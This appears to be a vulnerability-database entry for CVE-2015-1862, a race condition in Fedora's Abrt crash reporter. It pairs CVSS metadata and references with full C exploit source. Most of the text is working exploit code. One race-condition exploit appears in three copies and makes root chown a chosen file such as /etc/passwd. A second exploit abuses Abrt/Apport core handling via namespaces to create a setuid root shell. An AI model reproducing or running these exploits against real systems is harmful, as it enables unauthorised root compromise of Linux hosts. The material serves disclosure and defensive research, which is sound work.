Description
The crash reporting feature in Abrt allows local users to gain privileges by leveraging an execve by root after a chroot into a user-specified directory in a namedspaced environment.
Affected Software
Related
{"id": "CVE-2015-1862", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2015-1862", "description": "The crash reporting feature in Abrt allows local users to gain privileges by leveraging an execve by root after a chroot into a user-specified directory in a namedspaced environment.", "published": "2018-02-09T22:29:00", "modified": "2018-03-08T16:03:00", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "LOCAL", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 6.9}, "severity": "MEDIUM", "exploitabilityScore": 3.4, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.0, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1862", "reporter": "secalert@redhat.com", "references": ["https://www.exploit-db.com/exploits/36747/", "https://www.exploit-db.com/exploits/36746/", "https://github.com/abrt/abrt/pull/810", "https://bugzilla.redhat.com/show_bug.cgi?id=1211223", "http://www.securityfocus.com/bid/74263", "http://www.openwall.com/lists/oss-security/2015/04/14/4", "http://seclists.org/fulldisclosure/2015/Apr/34", "http://packetstormsecurity.com/files/131429/Abrt-Apport-Race-Condition-Symlink.html", "http://packetstormsecurity.com/files/131423/Linux-Apport-Abrt-Local-Root-Exploit.html", "http://packetstormsecurity.com/files/131422/Fedora-abrt-Race-Condition.html"], "cvelist": ["CVE-2015-1862"], "immutableFields": [], "lastseen": "2023-02-14T01:53:02", "viewCount": 32, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:36747", "EDB-ID:44097"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575", "EXPLOITPACK:CF772575B19CFD9EB560BCCD1B58D729"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-LINUX-LOCAL-ABRT_RACEABRT_PRIV_ESC-"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:131422", "PACKETSTORM:131423", "PACKETSTORM:131429", "PACKETSTORM:146411"]}, {"type": "zdt", "idList": ["1337DAY-ID-23512"]}]}, "score": {"value": 5.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:36747"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:131422", "PACKETSTORM:131423"]}]}, "exploitation": null, "affected_software": {"major_version": [{"name": "abrt project abrt", "version": 2}]}, "epss": [{"cve": "CVE-2015-1862", "epss": "0.000490000", "percentile": "0.153070000", "modified": "2023-03-14"}], "vulnersScore": 5.3}, "_state": {"dependencies": 1676339595, "score": 1676339668, "affected_software_major_version": 1677257749, "epss": 1678811959}, "_internal": {"score_hash": "0000b28d8d7bd1243f01de8a1f4a5955"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:abrt_project:abrt:2.2.0"], "cpe23": ["cpe:2.3:a:abrt_project:abrt:2.2.0:*:*:*:*:*:*:*"], "cwe": ["CWE-362"], "affectedSoftware": [{"cpeName": "abrt_project:abrt", "version": "2.2.0", "operator": "le", "name": "abrt project abrt"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:abrt_project:abrt:2.2.0:*:*:*:*:*:*:*", "versionEndIncluding": "2.2.0", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://www.exploit-db.com/exploits/36747/", "name": "36747", "refsource": "EXPLOIT-DB", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.exploit-db.com/exploits/36746/", "name": "36746", "refsource": "EXPLOIT-DB", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/abrt/abrt/pull/810", "name": "https://github.com/abrt/abrt/pull/810", "refsource": "CONFIRM", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1211223", "name": "https://bugzilla.redhat.com/show_bug.cgi?id=1211223", "refsource": "CONFIRM", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.securityfocus.com/bid/74263", "name": "74263", "refsource": "BID", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "http://www.openwall.com/lists/oss-security/2015/04/14/4", "name": "[oss-security] 20150414 Problems in automatic crash analysis frameworks", "refsource": "MLIST", "tags": ["Mailing List"]}, {"url": "http://seclists.org/fulldisclosure/2015/Apr/34", "name": "20150414 Problems in automatic crash analysis frameworks", "refsource": "FULLDISC", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/131429/Abrt-Apport-Race-Condition-Symlink.html", "name": "http://packetstormsecurity.com/files/131429/Abrt-Apport-Race-Condition-Symlink.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "http://packetstormsecurity.com/files/131423/Linux-Apport-Abrt-Local-Root-Exploit.html", "name": "http://packetstormsecurity.com/files/131423/Linux-Apport-Abrt-Local-Root-Exploit.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "http://packetstormsecurity.com/files/131422/Fedora-abrt-Race-Condition.html", "name": "http://packetstormsecurity.com/files/131422/Fedora-abrt-Race-Condition.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}], "product_info": [{"vendor": "Abrt_project", "product": "Abrt"}]}
{"zdt": [{"lastseen": "2018-02-06T07:17:26", "description": "Exploit for linux platform in category local exploits", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "zdt", "title": "Fedora abrt Race Condition Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "1337DAY-ID-23512", "href": "https://0day.today/exploit/description/23512", "sourceData": "#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <signal.h>\r\n#include <err.h>\r\n#include <string.h>\r\n#include <alloca.h>\r\n#include <limits.h>\r\n#include <sys/inotify.h>\r\n#include <sys/prctl.h>\r\n#include <sys/types.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <sys/stat.h>\r\n \r\n//\r\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\r\n//\r\n// Note: It can take a few minutes to win the race condition.\r\n//\r\n// -- [email\u00a0protected], April 2015.\r\n//\r\n// $ cat /etc/fedora-release\r\n// Fedora release 21 (Twenty One)\r\n// $ ./a.out /etc/passwd\r\n// [ wait a few minutes ]\r\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\r\n// Exploit successful...\r\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\r\n//\r\n \r\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\r\nstatic const size_t kMaxEventBuf = 8192;\r\nstatic const size_t kUnlinkAttempts = 8192 * 2;\r\nstatic const int kCrashDelay = 10000;\r\n \r\nstatic pid_t create_abrt_events(const char *name);\r\n \r\nint main(int argc, char **argv)\r\n{\r\n int fd, i;\r\n int watch;\r\n pid_t child;\r\n struct stat statbuf;\r\n struct inotify_event *ev;\r\n char *eventbuf = alloca(kMaxEventBuf);\r\n ssize_t size;\r\n \r\n // First argument is the filename user wants us to chown().\r\n if (argc != 2) {\r\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\r\n }\r\n \r\n // This is required as we need to make different comm names to avoid\r\n // triggering abrt rate limiting, so we fork()/execve() different names.\r\n if (strcmp(argv[1], \"crash\") == 0) {\r\n __builtin_trap();\r\n }\r\n \r\n // Setup inotify, and add a watch on the abrt directory.\r\n if ((fd = inotify_init()) < 0) {\r\n err(EXIT_FAILURE, \"unable to initialize inotify\");\r\n }\r\n \r\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\r\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\r\n }\r\n \r\n // Start causing crashes so that abrt generates reports.\r\n if ((child = create_abrt_events(*argv)) == -1) {\r\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\r\n }\r\n \r\n // Now start processing inotify events.\r\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\r\n \r\n // We can receive multiple events per read, so check each one.\r\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\r\n char dirname[NAME_MAX];\r\n char mapsname[NAME_MAX];\r\n char command[1024];\r\n \r\n // If this is a new ccpp report, we can start trying to race it.\r\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\r\n continue;\r\n }\r\n \r\n // Construct pathnames.\r\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\r\n strncat(dirname, ev->name, sizeof dirname);\r\n \r\n strncpy(mapsname, dirname, sizeof dirname);\r\n strncat(mapsname, \"/maps\", sizeof mapsname);\r\n \r\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\r\n \r\n // Check if we need to wait for the next event or not.\r\n while (access(dirname, F_OK) == 0) {\r\n for (i = 0; i < kUnlinkAttempts; i++) {\r\n // We need to unlink() and symlink() the file to win.\r\n if (unlink(mapsname) != 0) {\r\n continue;\r\n }\r\n \r\n // We won the first race, now attempt to win the\r\n // second race....\r\n if (symlink(argv[1], mapsname) != 0) {\r\n break;\r\n }\r\n \r\n // This looks good, but doesn't mean we won, it's possible\r\n // chown() might have happened while the file was unlinked.\r\n //\r\n // Give it a few microseconds to run chown()...just in case\r\n // we did win.\r\n usleep(10);\r\n \r\n if (stat(argv[1], &statbuf) != 0) {\r\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\r\n }\r\n \r\n if (statbuf.st_uid != getuid()) {\r\n break;\r\n }\r\n \r\n fprintf(stderr, \"\\tExploit successful...\\n\");\r\n \r\n // We're the new owner, run ls -l to show user.\r\n sprintf(command, \"ls -l %s\", argv[1]);\r\n system(command);\r\n \r\n return EXIT_SUCCESS;\r\n }\r\n }\r\n \r\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\r\n }\r\n }\r\n \r\n err(EXIT_FAILURE, \"failed to read inotify event\");\r\n}\r\n \r\n// This routine attempts to generate new abrt events. We can't just crash,\r\n// because abrt sanely tries to rate limit report creation, so we need a new\r\n// comm name for each crash.\r\nstatic pid_t create_abrt_events(const char *name)\r\n{\r\n char *newname;\r\n int status;\r\n pid_t child, pid;\r\n \r\n // Create a child process to generate events.\r\n if ((child = fork()) != 0)\r\n return child;\r\n \r\n // Make sure we stop when parent dies.\r\n prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n \r\n while (true) {\r\n // Choose a new unused filename\r\n newname = tmpnam(0);\r\n \r\n // Make sure we're not too fast.\r\n usleep(kCrashDelay);\r\n \r\n // Create a new crashing subprocess.\r\n if ((pid = fork()) == 0) {\r\n if (link(name, newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to create a new exename\");\r\n }\r\n \r\n // Execute crashing process.\r\n execl(newname, newname, \"crash\", NULL);\r\n \r\n // This should always work.\r\n err(EXIT_FAILURE, \"unexpected execve failure\");\r\n }\r\n \r\n // Reap crashed subprocess.\r\n if (waitpid(pid, &status, 0) != pid) {\r\n err(EXIT_FAILURE, \"waitpid failure\");\r\n }\r\n \r\n // Clean up the temporary name.\r\n if (unlink(newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to clean up\");\r\n }\r\n \r\n // Make sure it crashed as expected.\r\n if (!WIFSIGNALED(status)) {\r\n errx(EXIT_FAILURE, \"something went wrong\");\r\n }\r\n }\r\n \r\n return child;\r\n}\n\n# 0day.today [2018-02-06] #", "sourceHref": "https://0day.today/exploit/23512", "cvss": {"score": 5.3, "vector": "AV:LOCAL/AC:LOW/Au:UNKNOWN/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:00", "description": "\nAbrt (Fedora 21) - Race Condition", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.0, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-04-14T00:00:00", "type": "exploitpack", "title": "Abrt (Fedora 21) - Race Condition", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EXPLOITPACK:767CA460F9FEE37E25A7E0C4A1A2E575", "href": "", "sourceData": "#include <stdlib.h>\n#include <unistd.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <signal.h>\n#include <err.h>\n#include <string.h>\n#include <alloca.h>\n#include <limits.h>\n#include <sys/inotify.h>\n#include <sys/prctl.h>\n#include <sys/types.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/stat.h>\n\n//\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\n//\n// Note: It can take a few minutes to win the race condition.\n//\n// -- taviso@cmpxchg8b.com, April 2015.\n//\n// $ cat /etc/fedora-release \n// Fedora release 21 (Twenty One)\n// $ ./a.out /etc/passwd\n// [ wait a few minutes ]\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\n// Didn't win, trying again!\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\n// Exploit successful...\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\n//\n\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\nstatic const size_t kMaxEventBuf = 8192;\nstatic const size_t kUnlinkAttempts = 8192 * 2;\nstatic const int kCrashDelay = 10000;\n\nstatic pid_t create_abrt_events(const char *name);\n\nint main(int argc, char **argv)\n{\n int fd, i;\n int watch;\n pid_t child;\n struct stat statbuf;\n struct inotify_event *ev;\n char *eventbuf = alloca(kMaxEventBuf);\n ssize_t size;\n\n // First argument is the filename user wants us to chown().\n if (argc != 2) {\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\n }\n\n // This is required as we need to make different comm names to avoid\n // triggering abrt rate limiting, so we fork()/execve() different names.\n if (strcmp(argv[1], \"crash\") == 0) {\n __builtin_trap();\n }\n\n // Setup inotify, and add a watch on the abrt directory.\n if ((fd = inotify_init()) < 0) {\n err(EXIT_FAILURE, \"unable to initialize inotify\");\n }\n\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\n }\n\n // Start causing crashes so that abrt generates reports.\n if ((child = create_abrt_events(*argv)) == -1) {\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\n }\n\n // Now start processing inotify events.\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\n\n // We can receive multiple events per read, so check each one.\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\n char dirname[NAME_MAX];\n char mapsname[NAME_MAX];\n char command[1024];\n\n // If this is a new ccpp report, we can start trying to race it.\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\n continue;\n }\n\n // Construct pathnames.\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\n strncat(dirname, ev->name, sizeof dirname);\n\n strncpy(mapsname, dirname, sizeof dirname);\n strncat(mapsname, \"/maps\", sizeof mapsname);\n\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\n\n // Check if we need to wait for the next event or not.\n while (access(dirname, F_OK) == 0) {\n for (i = 0; i < kUnlinkAttempts; i++) {\n // We need to unlink() and symlink() the file to win.\n if (unlink(mapsname) != 0) {\n continue;\n }\n\n // We won the first race, now attempt to win the\n // second race....\n if (symlink(argv[1], mapsname) != 0) {\n break;\n }\n\n // This looks good, but doesn't mean we won, it's possible\n // chown() might have happened while the file was unlinked.\n //\n // Give it a few microseconds to run chown()...just in case\n // we did win.\n usleep(10);\n\n if (stat(argv[1], &statbuf) != 0) {\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\n }\n\n if (statbuf.st_uid != getuid()) {\n break;\n }\n\n fprintf(stderr, \"\\tExploit successful...\\n\");\n\n // We're the new owner, run ls -l to show user.\n sprintf(command, \"ls -l %s\", argv[1]);\n system(command);\n\n return EXIT_SUCCESS;\n }\n }\n\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\n }\n }\n\n err(EXIT_FAILURE, \"failed to read inotify event\");\n}\n\n// This routine attempts to generate new abrt events. We can't just crash,\n// because abrt sanely tries to rate limit report creation, so we need a new\n// comm name for each crash.\nstatic pid_t create_abrt_events(const char *name)\n{\n char *newname;\n int status;\n pid_t child, pid;\n\n // Create a child process to generate events.\n if ((child = fork()) != 0)\n return child;\n\n // Make sure we stop when parent dies.\n prctl(PR_SET_PDEATHSIG, SIGKILL);\n\n while (true) {\n // Choose a new unused filename\n newname = tmpnam(0);\n\n // Make sure we're not too fast.\n usleep(kCrashDelay);\n\n // Create a new crashing subprocess.\n if ((pid = fork()) == 0) {\n if (link(name, newname) != 0) {\n err(EXIT_FAILURE, \"failed to create a new exename\");\n }\n\n // Execute crashing process.\n execl(newname, newname, \"crash\", NULL);\n\n // This should always work.\n err(EXIT_FAILURE, \"unexpected execve failure\");\n }\n\n // Reap crashed subprocess.\n if (waitpid(pid, &status, 0) != pid) {\n err(EXIT_FAILURE, \"waitpid failure\");\n }\n\n // Clean up the temporary name.\n if (unlink(newname) != 0) {\n err(EXIT_FAILURE, \"failed to clean up\");\n }\n\n // Make sure it crashed as expected.\n if (!WIFSIGNALED(status)) {\n errx(EXIT_FAILURE, \"something went wrong\");\n }\n }\n\n return child;\n}", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-01T19:04:04", "description": "\nApportAbrt (Ubuntu Fedora) - Local Privilege Escalation", "cvss3": {}, "published": "2015-04-14T00:00:00", "type": "exploitpack", "title": "ApportAbrt (Ubuntu Fedora) - Local Privilege Escalation", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EXPLOITPACK:CF772575B19CFD9EB560BCCD1B58D729", "href": "", "sourceData": "#define _GNU_SOURCE\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <signal.h>\n#include <elf.h>\n#include <err.h>\n#include <syslog.h>\n#include <sched.h>\n#include <linux/sched.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <sys/auxv.h>\n#include <sys/wait.h>\n\n# warning this file must be compiled with -static\n\n//\n// Apport/Abrt Vulnerability Demo Exploit.\n//\n// Apport: CVE-2015-1318\n// Abrt: CVE-2015-1862\n// \n// -- taviso@cmpxchg8b.com, April 2015.\n//\n// $ gcc -static newpid.c\n// $ ./a.out\n// uid=0(root) gid=0(root) groups=0(root)\n// sh-4.3# exit\n// exit\n//\n// Hint: To get libc.a,\n// yum install glibc-static or apt-get install libc6-dev\n//\n\nint main(int argc, char **argv)\n{\n int status;\n Elf32_Phdr *hdr;\n pid_t wrapper;\n pid_t init;\n pid_t subprocess;\n unsigned i;\n\n // Verify this is a static executable by checking the program headers for a\n // dynamic segment. Originally I thought just checking AT_BASE would work,\n // but that isnt reliable across many kernels.\n hdr = (void *) getauxval(AT_PHDR);\n\n // If we find any PT_DYNAMIC, then this is probably not a static binary.\n for (i = 0; i < getauxval(AT_PHNUM); i++) {\n if (hdr[i].p_type == PT_DYNAMIC) {\n errx(EXIT_FAILURE, \"you *must* compile with -static\");\n }\n }\n\n // If execution reached here, it looks like we're a static executable. If\n // I'm root, then we've convinced the core handler to run us, so create a\n // setuid root executable that can be used outside the chroot.\n if (getuid() == 0) {\n if (chown(\"sh\", 0, 0) != 0)\n exit(EXIT_FAILURE);\n\n if (chmod(\"sh\", 04755) != 0)\n exit(EXIT_FAILURE);\n\n return EXIT_SUCCESS;\n }\n\n // If I'm not root, but euid is 0, then the exploit worked and we can spawn\n // a shell and cleanup.\n if (setuid(0) == 0) {\n system(\"id\");\n system(\"rm -rf exploit\");\n execlp(\"sh\", \"sh\", NULL);\n\n // Something went wrong.\n err(EXIT_FAILURE, \"failed to spawn root shell, but exploit worked\");\n }\n\n // It looks like the exploit hasn't run yet, so create a chroot.\n if (mkdir(\"exploit\", 0755) != 0\n || mkdir(\"exploit/usr\", 0755) != 0\n || mkdir(\"exploit/usr/share\", 0755) != 0\n || mkdir(\"exploit/usr/share/apport\", 0755) != 0\n || mkdir(\"exploit/usr/libexec\", 0755) != 0) {\n err(EXIT_FAILURE, \"failed to create chroot directory\");\n }\n\n // Create links to the exploit locations we need.\n if (link(*argv, \"exploit/sh\") != 0\n || link(*argv, \"exploit/usr/share/apport/apport\") != 0 // Ubuntu\n || link(*argv, \"exploit/usr/libexec/abrt-hook-ccpp\") != 0) { // Fedora\n err(EXIT_FAILURE, \"failed to create required hard links\");\n }\n\n // Create a subprocess so we don't enter the new namespace.\n if ((wrapper = fork()) == 0) {\n\n // In the child process, create a new pid and user ns. The pid\n // namespace is only needed on Ubuntu, because they check for %P != %p\n // in their core handler. On Fedora, just a user ns is sufficient.\n if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)\n err(EXIT_FAILURE, \"failed to create new namespace\");\n\n // Create a process in the new namespace.\n if ((init = fork()) == 0) {\n\n // Init (pid 1) signal handling is special, so make a subprocess to\n // handle the traps.\n if ((subprocess = fork()) == 0) {\n // Change /proc/self/root, which we can do as we're privileged\n // within the new namepace.\n if (chroot(\"exploit\") != 0) {\n err(EXIT_FAILURE, \"chroot didnt work\");\n }\n\n // Now trap to get the core handler invoked.\n __builtin_trap();\n\n // Shouldn't happen, unless user is ptracing us or something.\n err(EXIT_FAILURE, \"coredump failed, were you ptracing?\");\n }\n\n // If the subprocess exited with an abnormal signal, then everything worked.\n if (waitpid(subprocess, &status, 0) == subprocess) \n return WIFSIGNALED(status)\n ? EXIT_SUCCESS\n : EXIT_FAILURE;\n\n // Something didn't work.\n return EXIT_FAILURE;\n }\n\n // The new namespace didn't work.\n if (waitpid(init, &status, 0) == init)\n return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS\n ? EXIT_SUCCESS\n : EXIT_FAILURE;\n\n // Waitpid failure.\n return EXIT_FAILURE;\n }\n\n // If the subprocess returned sccess, the exploit probably worked, reload\n // with euid zero.\n if (waitpid(wrapper, &status, 0) == wrapper) {\n // All done, spawn root shell.\n if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {\n execl(*argv, \"w00t\", NULL);\n }\n }\n\n // Unknown error.\n errx(EXIT_FAILURE, \"unexpected result, cannot continue\");\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:18:49", "description": "", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "packetstorm", "title": "Fedora abrt Race Condition", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "PACKETSTORM:131422", "href": "https://packetstormsecurity.com/files/131422/Fedora-abrt-Race-Condition.html", "sourceData": "`#include <stdlib.h> \n#include <unistd.h> \n#include <stdbool.h> \n#include <stdio.h> \n#include <signal.h> \n#include <err.h> \n#include <string.h> \n#include <alloca.h> \n#include <limits.h> \n#include <sys/inotify.h> \n#include <sys/prctl.h> \n#include <sys/types.h> \n#include <sys/types.h> \n#include <sys/wait.h> \n#include <sys/stat.h> \n \n// \n// This is a race condition exploit for CVE-2015-1862, targeting Fedora. \n// \n// Note: It can take a few minutes to win the race condition. \n// \n// -- taviso@cmpxchg8b.com, April 2015. \n// \n// $ cat /etc/fedora-release \n// Fedora release 21 (Twenty One) \n// $ ./a.out /etc/passwd \n// [ wait a few minutes ] \n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race... \n// Didn't win, trying again! \n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race... \n// Exploit successful... \n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd \n// \n \nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\"; \nstatic const size_t kMaxEventBuf = 8192; \nstatic const size_t kUnlinkAttempts = 8192 * 2; \nstatic const int kCrashDelay = 10000; \n \nstatic pid_t create_abrt_events(const char *name); \n \nint main(int argc, char **argv) \n{ \nint fd, i; \nint watch; \npid_t child; \nstruct stat statbuf; \nstruct inotify_event *ev; \nchar *eventbuf = alloca(kMaxEventBuf); \nssize_t size; \n \n// First argument is the filename user wants us to chown(). \nif (argc != 2) { \nerrx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\"); \n} \n \n// This is required as we need to make different comm names to avoid \n// triggering abrt rate limiting, so we fork()/execve() different names. \nif (strcmp(argv[1], \"crash\") == 0) { \n__builtin_trap(); \n} \n \n// Setup inotify, and add a watch on the abrt directory. \nif ((fd = inotify_init()) < 0) { \nerr(EXIT_FAILURE, \"unable to initialize inotify\"); \n} \n \nif ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) { \nerr(EXIT_FAILURE, \"failed to create new watch descriptor\"); \n} \n \n// Start causing crashes so that abrt generates reports. \nif ((child = create_abrt_events(*argv)) == -1) { \nerr(EXIT_FAILURE, \"failed to generate abrt reports\"); \n} \n \n// Now start processing inotify events. \nwhile ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) { \n \n// We can receive multiple events per read, so check each one. \nfor (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) { \nchar dirname[NAME_MAX]; \nchar mapsname[NAME_MAX]; \nchar command[1024]; \n \n// If this is a new ccpp report, we can start trying to race it. \nif (strncmp(ev->name, \"ccpp\", 4) != 0) { \ncontinue; \n} \n \n// Construct pathnames. \nstrncpy(dirname, kAbrtPrefix, sizeof dirname); \nstrncat(dirname, ev->name, sizeof dirname); \n \nstrncpy(mapsname, dirname, sizeof dirname); \nstrncat(mapsname, \"/maps\", sizeof mapsname); \n \nfprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name); \n \n// Check if we need to wait for the next event or not. \nwhile (access(dirname, F_OK) == 0) { \nfor (i = 0; i < kUnlinkAttempts; i++) { \n// We need to unlink() and symlink() the file to win. \nif (unlink(mapsname) != 0) { \ncontinue; \n} \n \n// We won the first race, now attempt to win the \n// second race.... \nif (symlink(argv[1], mapsname) != 0) { \nbreak; \n} \n \n// This looks 